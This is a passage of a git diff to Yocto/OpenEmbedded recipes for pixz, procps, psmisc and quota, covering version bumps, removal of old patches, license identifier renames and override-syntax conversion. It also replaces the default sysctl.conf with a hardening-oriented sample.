-diff --git a/src/endian.c b/src/endian.c
-index b7724f3..51aea58 100644
---- a/src/endian.c
-+++ b/src/endian.c
-@@ -15,6 +15,7 @@ void xle64enc(uint8_t *d, uint64_t n) {
- #include <stdint.h>
- #ifdef __linux__
- #include <endian.h>
-+ #include <byteswap.h>
- #else
- #include <sys/endian.h>
- #endif
-@@ -23,7 +24,7 @@ void xle64enc(uint8_t *d, uint64_t n) {
- # if __BYTE_ORDER == __LITTLE_ENDIAN
- # define htole64(x) (x)
- # else
--# define htole64(x) __bswap_64 (x)
-+# define htole64(x) bswap_64 (x)
- # endif
- #endif
-
-@@ -31,7 +32,7 @@ void xle64enc(uint8_t *d, uint64_t n) {
- # if __BYTE_ORDER == __LITTLE_ENDIAN
- # define le64toh(x) (x)
- # else
--# define le64toh(x) __bswap_64 (x)
-+# define le64toh(x) bswap_64 (x)
- # endif
- #endif
-
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/pixz/pixz/936d8068ae19d95260d3058f41dd6cf718101cd6.patch b/meta/recipes-extended/pixz/pixz/936d8068ae19d95260d3058f41dd6cf718101cd6.patch
deleted file mode 100644
index e3489db5b8..0000000000
--- a/meta/recipes-extended/pixz/pixz/936d8068ae19d95260d3058f41dd6cf718101cd6.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 936d8068ae19d95260d3058f41dd6cf718101cd6 Mon Sep 17 00:00:00 2001
-From: Christian Krause <kizkizzbangbang@googlemail.com>
-Date: Sat, 26 Dec 2015 14:36:17 +0100
-Subject: [PATCH] option to not build man page
-
-fixes #56
----
- configure.ac | 23 +++++++++++++++++++----
- src/Makefile.am | 2 ++
- 2 files changed, 21 insertions(+), 4 deletions(-)
-
-Upstream-Status: Backport
-RP 2016/01/22
-
-diff --git a/configure.ac b/configure.ac
-index b437e56..4cb56bc 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -20,13 +20,28 @@ AC_CHECK_FILE(
- [src/pixz.1],
- [],
- [
-- AC_CHECK_PROG(A2X, a2x, a2x, [])
-- if test "x$A2X" = x ; then
-- AC_MSG_ERROR([AsciiDoc not found, not able to generate the man page.])
-- fi
-+ AC_ARG_WITH(
-+ [manpage],
-+ [ --without-manpage don't build man page],
-+ [case ${withval} in
-+ yes) manpage=true ;;
-+ no) manpage=false ;;
-+ *) AC_MSG_ERROR([bad value ${withval} for --with-manpage]) ;;
-+ esac],
-+ [manpage=true]
-+ )
- ]
- )
-
-+AM_CONDITIONAL([MANPAGE], [test x$manpage = xtrue])
-+
-+if test x$manpage = xtrue ; then
-+ AC_CHECK_PROG(A2X, a2x, a2x, [])
-+ if test "x$A2X" = x ; then
-+ AC_MSG_ERROR([AsciiDoc not found, not able to generate the man page.])
-+ fi
-+fi
-+
- # Checks for libraries.
- AC_CHECK_LIB([m], [ceil])
- AX_PTHREAD
-diff --git a/src/Makefile.am b/src/Makefile.am
-index 600ec90..b98f450 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -15,6 +15,7 @@ pixz_SOURCES = \
- read.c \
- write.c
-
-+if MANPAGE
- # TODO remove when possible: This is a hack because a2x is not able to output the man pages to a
- # specific directory, only to where the source is.
- pixz.1: pixz.1.asciidoc
-@@ -26,3 +27,4 @@ man_MANS = pixz.1
- CLEANFILES = pixz.1
-
- EXTRA_DIST = $(man_MANS) pixz.1.asciidoc
-+endif
diff --git a/meta/recipes-extended/pixz/pixz_1.0.6.bb b/meta/recipes-extended/pixz/pixz_1.0.6.bb
deleted file mode 100644
index 3032586581..0000000000
--- a/meta/recipes-extended/pixz/pixz_1.0.6.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "Parallel, indexed xz compressor"
-
-DEPENDS = "xz libarchive"
-
-SRC_URI = "https://github.com/vasi/pixz/releases/download/v${PV}/${BPN}-${PV}.tar.xz"
-SRC_URI[md5sum] = "f6dc5909c9a31b192f69aa397ae8df48"
-SRC_URI[sha256sum] = "02c50746b134fa1b1aae41fcc314d7c6f1919b3d48bcdea01bf11769f83f72e8"
-
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=5cf6d164086105f1512ccb81bfff1926"
-
-SRC_URI += "file://936d8068ae19d95260d3058f41dd6cf718101cd6.patch \
- file://0001-configure-Detect-headers-before-using-them.patch \
- file://0002-endian-Use-macro-bswap_64-instead-of-__bswap_64.patch \
-"
-UPSTREAM_CHECK_URI = "https://github.com/vasi/pixz/releases"
-
-PACKAGECONFIG[manpages] = "--with-manpage, --without-manpage, asciidoc-native"
-
-CFLAGS_append_libc-musl = " -D_GNU_SOURCE"
-CACHED_CONFIGUREVARS += "ac_cv_file_src_pixz_1=no"
-
-inherit autotools pkgconfig manpages
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/procps/procps/sysctl.conf b/meta/recipes-extended/procps/procps/sysctl.conf
index 34e7488bf7..253f3701bd 100644
--- a/meta/recipes-extended/procps/procps/sysctl.conf
+++ b/meta/recipes-extended/procps/procps/sysctl.conf
@@ -1,64 +1,67 @@
-# This configuration file is taken from Debian.
+# This configuration taken from procps v3.3.15
+# Commented out kernel/pid_max=10000 line
#
# /etc/sysctl.conf - Configuration file for setting system variables
# See sysctl.conf (5) for information.
-#
-#kernel.domainname = example.com
+# you can have the CD-ROM close when you use it, and open
+# when you are done.
+#dev.cdrom.autoeject = 1
+#dev.cdrom.autoclose = 1
-# Uncomment the following to stop low-level messages on console
-#kernel.printk = 4 4 1 7
+# protection from the SYN flood attack
+net/ipv4/tcp_syncookies=1
-##############################################################3
-# Functions previously found in netbase
-#
+# see the evil packets in your log files
+net/ipv4/conf/all/log_martians=1
-# Uncomment the next two lines to enable Spoof protection (reverse-path filter)
-# Turn on Source Address Verification in all interfaces to
-# prevent some spoofing attacks
-net.ipv4.conf.default.rp_filter=1
-net.ipv4.conf.all.rp_filter=1
+# makes you vulnerable or not :-)
+net/ipv4/conf/all/accept_redirects=0
+net/ipv4/conf/all/accept_source_route=0
+net/ipv4/icmp_echo_ignore_broadcasts =1
-# Uncomment the next line to enable TCP/IP SYN cookies
-#net.ipv4.tcp_syncookies=1
+# needed for routing, including masquerading or NAT
+#net/ipv4/ip_forward=1
-# Uncomment the next line to enable packet forwarding for IPv4
-#net.ipv4.ip_forward=1
+# sets the port range used for outgoing connections
+#net.ipv4.ip_local_port_range = 32768 61000
-# Uncomment the next line to enable packet forwarding for IPv6
-#net.ipv6.conf.all.forwarding=1
+# Broken routers and obsolete firewalls will corrupt the window scaling
+# and ECN. Set these values to 0 to disable window scaling and ECN.
+# This may, rarely, cause some performance loss when running high-speed
+# TCP/IP over huge distances or running TCP/IP over connections with high
+# packet loss and modern routers. This sure beats dropped connections.
+#net.ipv4.tcp_ecn = 0
+# Swapping too much or not enough? Disks spinning up when you'd
+# rather they didn't? Tweak these.
+#vm.vfs_cache_pressure = 100
+#vm.laptop_mode = 0
+#vm.swappiness = 60
-###################################################################
-# Additional settings - these settings can improve the network
-# security of the host and prevent against some network attacks
-# including spoofing attacks and man in the middle attacks through
-# redirection. Some network environments, however, require that these
-# settings are disabled so review and enable them as needed.
-#
-# Ignore ICMP broadcasts
-#net.ipv4.icmp_echo_ignore_broadcasts = 1
-#
-# Ignore bogus ICMP errors
-#net.ipv4.icmp_ignore_bogus_error_responses = 1
-#
-# Do not accept ICMP redirects (prevent MITM attacks)
-#net.ipv4.conf.all.accept_redirects = 0
-#net.ipv6.conf.all.accept_redirects = 0
-# _or_
-# Accept ICMP redirects only for gateways listed in our default
-# gateway list (enabled by default)
-# net.ipv4.conf.all.secure_redirects = 1
-#
-# Do not send ICMP redirects (we are not a router)
-#net.ipv4.conf.all.send_redirects = 0
-#
-# Do not accept IP source route packets (we are not a router)
-#net.ipv4.conf.all.accept_source_route = 0
-#net.ipv6.conf.all.accept_source_route = 0
-#
-# Log Martian Packets
-#net.ipv4.conf.all.log_martians = 1
-#
+#kernel.printk_ratelimit_burst = 10
+#kernel.printk_ratelimit = 5
+#kernel.panic_on_oops = 0
+
+# Reboot 600 seconds after a panic
+#kernel.panic = 600
+
+# enable SysRq key (note: console security issues)
+#kernel.sysrq = 1
+
+# Change name of core file to start with the command name
+# so you get things like: emacs.core mozilla-bin.core X.core
+#kernel.core_pattern = %e.core
+
+# NIS/YP domain (not always equal to DNS domain)
+#kernel.domainname = example.com
+#kernel.hostname = darkstar
+
+# This limits PID values to 4 digits, which allows tools like ps
+# to save screen space.
+#kernel/pid_max=10000
-#kernel.shmmax = 141762560
+# Protects against creating or following links under certain conditions
+# See https://www.kernel.org/doc/Documentation/sysctl/fs.txt
+#fs.protected_hardlinks = 1
+#fs.protected_symlinks = 1
diff --git a/meta/recipes-extended/procps/procps_3.3.12.bb b/meta/recipes-extended/procps/procps_4.0.4.bb
index adabd75761..800384f22f 100644
--- a/meta/recipes-extended/procps/procps_3.3.12.bb
+++ b/meta/recipes-extended/procps/procps_4.0.4.bb
@@ -1,31 +1,37 @@
SUMMARY = "System and process monitoring utilities"
DESCRIPTION = "Procps contains a set of system utilities that provide system information about processes using \
the /proc filesystem. The package includes the programs ps, top, vmstat, w, kill, and skill."
-HOMEPAGE = "https://gitorious.org/procps"
+HOMEPAGE = "https://gitlab.com/procps-ng/procps"
SECTION = "base"
-LICENSE = "GPLv2+ & LGPLv2+"
-LIC_FILES_CHKSUM="file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.LIB;md5=4cf66a4984120007c9881cc871cf49db \
- "
+LICENSE = "GPL-2.0-or-later & LGPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.LIB;md5=4cf66a4984120007c9881cc871cf49db \
+ "
DEPENDS = "ncurses"
inherit autotools gettext pkgconfig update-alternatives
-SRC_URI = "http://downloads.sourceforge.net/project/procps-ng/Production/procps-ng-${PV}.tar.xz \
+SRC_URI = "git://gitlab.com/procps-ng/procps.git;protocol=https;branch=master \
file://sysctl.conf \
- "
+ "
+SRCREV = "4ddcef2fd843170c8e2d59a83042978f41037a2b"
-SRC_URI[md5sum] = "957e42e8b193490b2111252e4a2b443c"
-SRC_URI[sha256sum] = "6ed65ab86318f37904e8f9014415a098bec5bc53653e5d9ab404f95ca5e1a7d4"
+S = "${WORKDIR}/git"
-S = "${WORKDIR}/procps-ng-${PV}"
+# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
+# don't ship a po/POTFILES.in (which is silly). Without that file gettext
+# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
+do_configure:prepend() {
+ ( cd ${S} && po/update-potfiles )
+}
EXTRA_OECONF = "--enable-skill --disable-modern-top"
-CPPFLAGS += "-I${S}"
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[systemd] = "--with-systemd,--without-systemd,systemd"
-do_install_append () {
+do_install:append () {
install -d ${D}${base_bindir}
[ "${bindir}" != "${base_bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i; done
install -d ${D}${base_sbindir}
@@ -42,18 +48,18 @@ do_install_append () {
fi
}
-CONFFILES_${PN} = "${sysconfdir}/sysctl.conf"
+CONFFILES:${PN} = "${sysconfdir}/sysctl.conf"
-bindir_progs = "free pkill pmap pgrep pwdx skill snice top uptime"
+bindir_progs = "free pkill pmap pgrep pwdx skill snice top uptime w"
base_bindir_progs += "kill pidof ps watch"
base_sbindir_progs += "sysctl"
ALTERNATIVE_PRIORITY = "200"
ALTERNATIVE_PRIORITY[pidof] = "150"
-ALTERNATIVE_${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}"
+ALTERNATIVE:${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}"
-ALTERNATIVE_${PN}-doc = "kill.1 uptime.1"
+ALTERNATIVE:${PN}-doc = "kill.1 uptime.1"
ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
@@ -65,3 +71,27 @@ python __anonymous() {
d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
}
+PROCPS_PACKAGES = "${PN}-lib \
+ ${PN}-ps \
+ ${PN}-sysctl"
+
+PACKAGE_BEFORE_PN = "${PROCPS_PACKAGES}"
+RDEPENDS:${PN} += "${PROCPS_PACKAGES}"
+
+RDEPENDS:${PN}-ps += "${PN}-lib"
+RDEPENDS:${PN}-sysctl += "${PN}-lib"
+
+FILES:${PN}-lib = "${libdir}"
+FILES:${PN}-ps = "${base_bindir}/ps.${BPN}"
+FILES:${PN}-sysctl = "${base_sbindir}/sysctl.${BPN} ${sysconfdir}/sysctl.conf ${sysconfdir}/sysctl.d"
+
+ALTERNATIVE:${PN}:remove = "ps"
+ALTERNATIVE:${PN}:remove = "sysctl"
+
+ALTERNATIVE:${PN}-ps = "ps"
+ALTERNATIVE_TARGET[ps] = "${base_bindir}/ps"
+ALTERNATIVE_LINK_NAME[ps] = "${base_bindir}/ps"
+
+ALTERNATIVE:${PN}-sysctl = "sysctl"
+ALTERNATIVE_TARGET[sysctl] = "${base_sbindir}/sysctl"
+ALTERNATIVE_LINK_NAME[sysctl] = "${base_sbindir}/sysctl"
diff --git a/meta/recipes-extended/psmisc/files/0001-Typo-in-fuser-makes-M-on-all-the-time.patch b/meta/recipes-extended/psmisc/files/0001-Typo-in-fuser-makes-M-on-all-the-time.patch
deleted file mode 100644
index e57d60f6a3..0000000000
--- a/meta/recipes-extended/psmisc/files/0001-Typo-in-fuser-makes-M-on-all-the-time.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 3638cc55b4d08851faba46635d737b24d016665b Mon Sep 17 00:00:00 2001
-From: Brad Jorsch <anomie@users.sourceforge.net>
-Date: Fri, 28 Feb 2014 21:55:02 +1100
-Subject: [PATCH] Typo in fuser makes -M on all the time
-
-Brad found that fuser had the -M option on all the time.
-A simple but significant typo caused this, thanks the the patch.
-
-Bug-Debian: http://bugs.debian.org/740275
-
-Upstream-Status: Backport
-
-Signed-off-by: Craig Small <csmall@enc.com.au>
----
- ChangeLog | 4 ++++
- src/fuser.c | 2 +-
- 2 files changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/ChangeLog b/ChangeLog
-index fd1cccf..e5f784c 100644
---- a/ChangeLog
-+++ b/ChangeLog
-@@ -1,3 +1,7 @@
-+Changes in 22.22
-+================
-+ * Fixed typo in fuser which has -M on Debian #740275
-+
- Changes in 22.21
- ================
- * Missing comma in fuser(1) added Debian #702391
-diff --git a/src/fuser.c b/src/fuser.c
-index b485f65..389b302 100644
---- a/src/fuser.c
-+++ b/src/fuser.c
-@@ -1174,7 +1174,7 @@ int main(int argc, char *argv[])
- usage(_("No process specification given"));
-
- /* Check if -M flag was used and if so check mounts */
-- if (opts * OPT_ISMOUNTPOINT) {
-+ if (opts & OPT_ISMOUNTPOINT) {
- check_mountpoints(&mounts, &names_head, &names_tail);
- }
-
---
-1.8.4.2
-
diff --git a/meta/recipes-extended/psmisc/files/0002-Include-limits.h-for-PATH_MAX.patch b/meta/recipes-extended/psmisc/files/0002-Include-limits.h-for-PATH_MAX.patch
deleted file mode 100644
index c8afcac8a8..0000000000
--- a/meta/recipes-extended/psmisc/files/0002-Include-limits.h-for-PATH_MAX.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From aa66afecd8ba9cc4139f25ab15ec315173413a7d Mon Sep 17 00:00:00 2001
-From: Paul Barker <paul@paulbarker.me.uk>
-Date: Wed, 20 Aug 2014 10:31:37 +0000
-Subject: [PATCH] Include <limits.h> for PATH_MAX
-
-When building against musl libc, PATH_MAX is defined in <limits.h>.
-
-Signed-off-by: Paul Barker <paul@paulbarker.me.uk>
-
-Upstream-Status: Accepted (Should be in next release after 22.21)
----
- src/pstree.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/pstree.c b/src/pstree.c
-index 071e6c4..0d28260 100644
---- a/src/pstree.c
-+++ b/src/pstree.c
-@@ -41,6 +41,7 @@
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <sys/ioctl.h>
-+#include <limits.h>
-
- #include "i18n.h"
- #include "comm.h"
---
-2.0.4
-
diff --git a/meta/recipes-extended/psmisc/psmisc.inc b/meta/recipes-extended/psmisc/psmisc.inc
index 66a784b53c..23e98d21be 100644
--- a/meta/recipes-extended/psmisc/psmisc.inc
+++ b/meta/recipes-extended/psmisc/psmisc.inc
@@ -8,7 +8,7 @@ processes identified by name. The fuser command identifies the PIDs \
of processes that are using specified files or filesystems."
SECTION = "base"
DEPENDS = "ncurses virtual/libintl"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
SRC_URI = "${SOURCEFORGE_MIRROR}/psmisc/psmisc-${PV}.tar.gz"
@@ -16,33 +16,44 @@ S = "${WORKDIR}/psmisc-${PV}"
inherit autotools gettext
+# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
+# don't ship a po/POTFILES.in (which is silly). Without that file gettext
+# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
+do_configure:prepend() {
+ ( cd ${S} && po/update-potfiles )
+}
+
+
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux,libselinux"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
PACKAGES =+ "fuser fuser-doc killall killall-doc pstree pstree-doc"
PACKAGES += "psmisc-extras"
-FILES_${PN} = ""
-RDEPENDS_${PN} = "fuser killall pstree"
+FILES:${PN} = ""
+RDEPENDS:${PN} = "fuser killall pstree"
-FILES_fuser = "${bindir}/fuser.${BPN}"
-FILES_fuser-doc = "${mandir}/man1/fuser*"
+FILES:fuser = "${bindir}/fuser.${BPN}"
+FILES:fuser-doc = "${mandir}/man1/fuser*"
-FILES_killall = "${bindir}/killall.${BPN}"
-FILES_killall-doc = "${mandir}/man1/killall*"
+FILES:killall = "${bindir}/killall.${BPN}"
+FILES:killall-doc = "${mandir}/man1/killall*"
-FILES_pstree = "${bindir}/pstree"
-FILES_pstree-doc = "${mandir}/man1/pstree*"
+FILES:pstree = "${bindir}/pstree"
+FILES:pstree-doc = "${mandir}/man1/pstree*"
-FILES_psmisc-extras = "${bindir}"
-FILES_psmisc-extras-doc = "${mandir}"
+FILES:psmisc-extras = "${bindir}"
+FILES:psmisc-extras-doc = "${mandir}"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "90"
-ALTERNATIVE_killall = "killall"
+ALTERNATIVE:killall = "killall"
+
+ALTERNATIVE:fuser = "fuser"
-ALTERNATIVE_fuser = "fuser"
+ALTERNATIVE:pstree = "pstree"
diff --git a/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch b/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch
index b57a006bc6..01335bdf40 100644
--- a/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch
+++ b/meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch
@@ -1,4 +1,4 @@
-From 5dc872bb2fba6421cb8e1ee578f7bd4aaed55f61 Mon Sep 17 00:00:00 2001
+From 338d2d46d1c20ebadf317938af98d0532a62f8d4 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Thu, 24 Mar 2016 15:46:14 +0000
Subject: [PATCH] Use UINTPTR_MAX instead of __WORDSIZE
@@ -7,14 +7,13 @@ Do not include sys/user.h since it conflicts with
pt_regs struct from kernel APIs in asm/ptrace.h
Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
Upstream-Status: Pending
-
+---
src/peekfd.c | 13 ++++++++-----
1 file changed, 8 insertions(+), 5 deletions(-)
diff --git a/src/peekfd.c b/src/peekfd.c
-index cba2130..0d39878 100644
+index 36dff04..2b4b1dc 100644
--- a/src/peekfd.c
+++ b/src/peekfd.c
@@ -30,8 +30,11 @@
@@ -28,8 +27,8 @@ index cba2130..0d39878 100644
+#include <stdint.h>
#include <getopt.h>
#include <ctype.h>
-
-@@ -228,11 +231,11 @@ int main(int argc, char **argv)
+ #include <dirent.h>
+@@ -341,11 +344,11 @@ int main(int argc, char **argv)
if (WIFSTOPPED(status)) {
#ifdef PPC
struct pt_regs regs;
@@ -46,6 +45,3 @@ index cba2130..0d39878 100644
#elif defined(ARM)
struct pt_regs regs;
ptrace(PTRACE_GETREGS, pid, 0, &regs);
---
-1.9.1
-
diff --git a/meta/recipes-extended/psmisc/psmisc_22.21.bb b/meta/recipes-extended/psmisc/psmisc_22.21.bb
deleted file mode 100644
index 1c6473ebf4..0000000000
--- a/meta/recipes-extended/psmisc/psmisc_22.21.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-require psmisc.inc
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
-
-SRC_URI[md5sum] = "935c0fd6eb208288262b385fa656f1bf"
-SRC_URI[sha256sum] = "97323cad619210845b696d7d722c383852b2acb5c49b5b0852c4f29c77a8145a"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/psmisc/psmisc-${PV}.tar.gz \
- file://0001-Typo-in-fuser-makes-M-on-all-the-time.patch \
- file://0002-Include-limits.h-for-PATH_MAX.patch \
- file://0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch \
- "
diff --git a/meta/recipes-extended/psmisc/psmisc_23.7.bb b/meta/recipes-extended/psmisc/psmisc_23.7.bb
new file mode 100644
index 0000000000..ea272cd92d
--- /dev/null
+++ b/meta/recipes-extended/psmisc/psmisc_23.7.bb
@@ -0,0 +1,9 @@
+require psmisc.inc
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
+
+SRC_URI = "git://gitlab.com/psmisc/psmisc.git;protocol=https;branch=master \
+ file://0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch \
+ "
+SRCREV = "9091d6dbcce3d8fb87adf9249a2eb346d25a562c"
+S = "${WORKDIR}/git"
diff --git a/meta/recipes-extended/quota/quota/fcntl.patch b/meta/recipes-extended/quota/quota/fcntl.patch
index 2d37971321..09a0c687b6 100644
--- a/meta/recipes-extended/quota/quota/fcntl.patch
+++ b/meta/recipes-extended/quota/quota/fcntl.patch
@@ -1,3 +1,8 @@
+From 00a456145531d194d3993c9f4cd404d5ca16c9df Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 6 Apr 2015 17:36:44 +0000
+Subject: [PATCH] quota: Fix build with musl
+
Include fcntl.h to pacify compiler errors on musl
like
@@ -9,24 +14,16 @@ Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
-ndex: quota-tools/quota.h
-===================================================================
-Index: quota-tools/quota.h
-===================================================================
---- quota-tools.orig/quota.h
-+++ quota-tools/quota.h
-@@ -165,6 +165,6 @@ enum {
- #endif
- #endif
-
--long quotactl __P((int, const char *, qid_t, caddr_t));
-+long quotactl (int, const char *, qid_t, caddr_t);
-
- #endif /* _QUOTA_ */
-Index: quota-tools/quotacheck.c
-===================================================================
---- quota-tools.orig/quotacheck.c
-+++ quota-tools/quotacheck.c
+---
+ quotacheck.c | 1 +
+ quotaio.c | 1 +
+ rquota_client.c | 4 ++++
+ 3 files changed, 6 insertions(+)
+
+diff --git a/quotacheck.c b/quotacheck.c
+index bd62d9a..772a27d 100644
+--- a/quotacheck.c
++++ b/quotacheck.c
@@ -19,6 +19,7 @@
#include <unistd.h>
#include <stdlib.h>
@@ -35,10 +32,10 @@ Index: quota-tools/quotacheck.c
#include <sys/stat.h>
#include <sys/types.h>
-Index: quota-tools/quotaio.c
-===================================================================
---- quota-tools.orig/quotaio.c
-+++ quota-tools/quotaio.c
+diff --git a/quotaio.c b/quotaio.c
+index 94ae458..d57fc1a 100644
+--- a/quotaio.c
++++ b/quotaio.c
@@ -12,6 +12,7 @@
#include <string.h>
#include <unistd.h>
@@ -47,22 +44,10 @@ Index: quota-tools/quotaio.c
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/file.h>
-Index: quota-tools/dqblk_v2.h
-===================================================================
---- quota-tools.orig/dqblk_v2.h
-+++ quota-tools/dqblk_v2.h
-@@ -7,6 +7,7 @@
- #ifndef GUARD_DQBLK_V2_H
- #define GUARD_DQBLK_V2_H
-
-+#include <fcntl.h>
- #include <sys/types.h>
- #include "quota_tree.h"
-
-Index: quota-tools/rquota_client.c
-===================================================================
---- quota-tools.orig/rquota_client.c
-+++ quota-tools/rquota_client.c
+diff --git a/rquota_client.c b/rquota_client.c
+index 7f8e821..d48505a 100644
+--- a/rquota_client.c
++++ b/rquota_client.c
@@ -19,7 +19,9 @@
#include "config.h"
diff --git a/meta/recipes-extended/quota/quota/remove_non_posix_types.patch b/meta/recipes-extended/quota/quota/remove_non_posix_types.patch
deleted file mode 100644
index 06ff13cb98..0000000000
--- a/meta/recipes-extended/quota/quota/remove_non_posix_types.patch
+++ /dev/null
@@ -1,198 +0,0 @@
-Use proper C99 integer types
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Index: quota-tools/bylabel.c
-===================================================================
---- quota-tools.orig/bylabel.c
-+++ quota-tools/bylabel.c
-@@ -20,6 +20,7 @@
- #include <ctype.h>
- #include <fcntl.h>
- #include <unistd.h>
-+#include <stdint.h>
-
- #include "bylabel.h"
- #include "common.h"
-@@ -37,32 +38,32 @@ static struct uuidCache_s {
-
- #define EXT2_SUPER_MAGIC 0xEF53
- struct ext2_super_block {
-- u_char s_dummy1[56];
-- u_char s_magic[2];
-- u_char s_dummy2[46];
-- u_char s_uuid[16];
-- u_char s_volume_name[16];
-+ uint8_t s_dummy1[56];
-+ uint8_t s_magic[2];
-+ uint8_t s_dummy2[46];
-+ uint8_t s_uuid[16];
-+ uint8_t s_volume_name[16];
- };
-
--#define ext2magic(s) ((uint) s.s_magic[0] + (((uint) s.s_magic[1]) << 8))
-+#define ext2magic(s) ((uint32_t) s.s_magic[0] + (((uint32_t) s.s_magic[1]) << 8))
-
- #define XFS_SUPER_MAGIC "XFSB"
- #define XFS_SUPER_MAGIC2 "BSFX"
- struct xfs_super_block {
-- u_char s_magic[4];
-- u_char s_dummy[28];
-- u_char s_uuid[16];
-- u_char s_dummy2[60];
-- u_char s_fsname[12];
-+ uint8_t s_magic[4];
-+ uint8_t s_dummy[28];
-+ uint8_t s_uuid[16];
-+ uint8_t s_dummy2[60];
-+ uint8_t s_fsname[12];
- };
-
- #define REISER_SUPER_MAGIC "ReIsEr2Fs"
- struct reiserfs_super_block {
-- u_char s_dummy1[52];
-- u_char s_magic[10];
-- u_char s_dummy2[22];
-- u_char s_uuid[16];
-- u_char s_volume_name[16];
-+ uint8_t s_dummy1[52];
-+ uint8_t s_magic[10];
-+ uint8_t s_dummy2[22];
-+ uint8_t s_uuid[16];
-+ uint8_t s_volume_name[16];
- };
-
- static inline unsigned short swapped(unsigned short a)
-@@ -222,7 +223,7 @@ static char *get_spec_by_x(int n, const
- return NULL;
- }
-
--static u_char fromhex(char c)
-+static uint8_t fromhex(char c)
- {
- if (isdigit(c))
- return (c - '0');
-@@ -234,7 +235,7 @@ static u_char fromhex(char c)
-
- static char *get_spec_by_uuid(const char *s)
- {
-- u_char uuid[16];
-+ uint8_t uuid[16];
- int i;
-
- if (strlen(s) != 36 || s[8] != '-' || s[13] != '-' || s[18] != '-' || s[23] != '-')
-Index: quota-tools/quot.c
-===================================================================
---- quota-tools.orig/quot.c
-+++ quota-tools/quot.c
-@@ -47,6 +47,7 @@
- #include <utmp.h>
- #include <pwd.h>
- #include <grp.h>
-+#include <stdint.h>
-
- #include "pot.h"
- #include "quot.h"
-@@ -56,8 +57,8 @@
- #include "quotasys.h"
-
- #define TSIZE 500
--static __uint64_t sizes[TSIZE];
--static __uint64_t overflow;
-+static uint64_t sizes[TSIZE];
-+static uint64_t overflow;
-
- static int aflag;
- static int cflag;
-@@ -72,7 +73,7 @@ static time_t now;
- char *progname;
-
- static void mounttable(void);
--static char *idname(__uint32_t, int);
-+static char *idname(uint32_t, int);
- static void report(const char *, const char *, int);
- static void creport(const char *, const char *);
-
-@@ -173,7 +174,7 @@ static int qcmp(du_t * p1, du_t * p2)
- static void creport(const char *file, const char *fsdir)
- {
- int i;
-- __uint64_t t = 0;
-+ uint64_t t = 0;
-
- printf(_("%s (%s):\n"), file, fsdir);
- for (i = 0; i < TSIZE - 1; i++)
-@@ -219,7 +220,7 @@ static void report(const char *file, con
- }
- }
-
--static idcache_t *getnextent(int type, __uint32_t id, int byid)
-+static idcache_t *getnextent(int type, uint32_t id, int byid)
- {
- struct passwd *pw;
- struct group *gr;
-@@ -240,7 +241,7 @@ static idcache_t *getnextent(int type, _
- return &idc;
- }
-
--static char *idname(__uint32_t id, int type)
-+static char *idname(uint32_t id, int type)
- {
- idcache_t *ncp, *idp;
- static idcache_t nc[2][NID];
-@@ -286,8 +287,8 @@ static void acctXFS(xfs_bstat_t *p)
- {
- register du_t *dp;
- du_t **hp;
-- __uint64_t size;
-- __uint32_t i, id;
-+ uint64_t size;
-+ uint32_t i, id;
-
- if ((p->bs_mode & S_IFMT) == 0)
- return;
